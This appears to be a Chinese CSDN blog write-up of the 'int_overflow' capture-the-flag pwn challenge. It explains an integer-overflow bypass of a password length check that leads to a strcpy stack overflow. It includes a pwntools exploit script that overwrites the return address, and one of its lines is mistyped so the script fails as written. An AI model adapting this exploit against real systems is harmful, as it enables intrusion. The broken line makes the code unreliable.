

攻防世界int_overflow

原创

xiaobainewa 于 2022-03-04 09:35:34 发布 88 收藏

分类专栏: [pwn](#) 文章标签: [c语言](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/xiaobainewa/article/details/123269144>

版权



[pwn](#) 专栏收录该内容

2 篇文章 0 订阅

订阅专栏

```
1 char *__cdecl check_passwd(char *s)
2 {
3     char *result; // eax
4     char dest; // [esp+4h] [ebp-14h]
5     unsigned __int8 v3; // [esp+fh] [ebp-9h]
6
7     v3 = strlen(s);
8     if ( v3 <= 3u || v3 > 8u )
9     {
10        puts("Invalid Password");
11        result = (char *)fflush(stdout);
12    }
13    else
14    {
15        puts("Success");
16        fflush(stdout);
17        result = strcpy(&dest, s);
18    }
19    return result;
20 }
```

CSDN @xiaobainewa

dest大小为0x14,加上ebp0x4就是0x18,再加上cat flag的地址,要格外注意的是此程序规定了输入字符串的长度

```
3     if ( v3 <= 3u || v3 > 8u )
4     {
5         puts("Invalid Password");
6         result = (char *)fflush(stdout);
7     }
8 }
```

CSDN @xiaobainewa

所以我们再利用整形溢出,在payload里面填入垃圾数据,使长度等于256+4(相当于4)即可满足条件

```
from pwn import *
e.remote('111.198.29.45',41425)##要连接的地址
flag_addr = 0x0804868B ##溢出之后跳转的函数地址
##0x18是函数返回地址和buff之间的差值，加上flag_addr的地址之后覆盖check_passwd函数的返回地址，后面是256+4，构成了unsigned int 的溢出
payload = 0x18*'a'+p32(flag_addr)+(256-0x18-4)*'a'+4*'a'

e.sendlineafter("Your choice:", "1")
e.sendlineafter("Please input your username:", "endust")
e.sendlineafter("Please input your passwd:", payload)

e.interactive()
```

最后结果如图

CSDN @xiaobainewa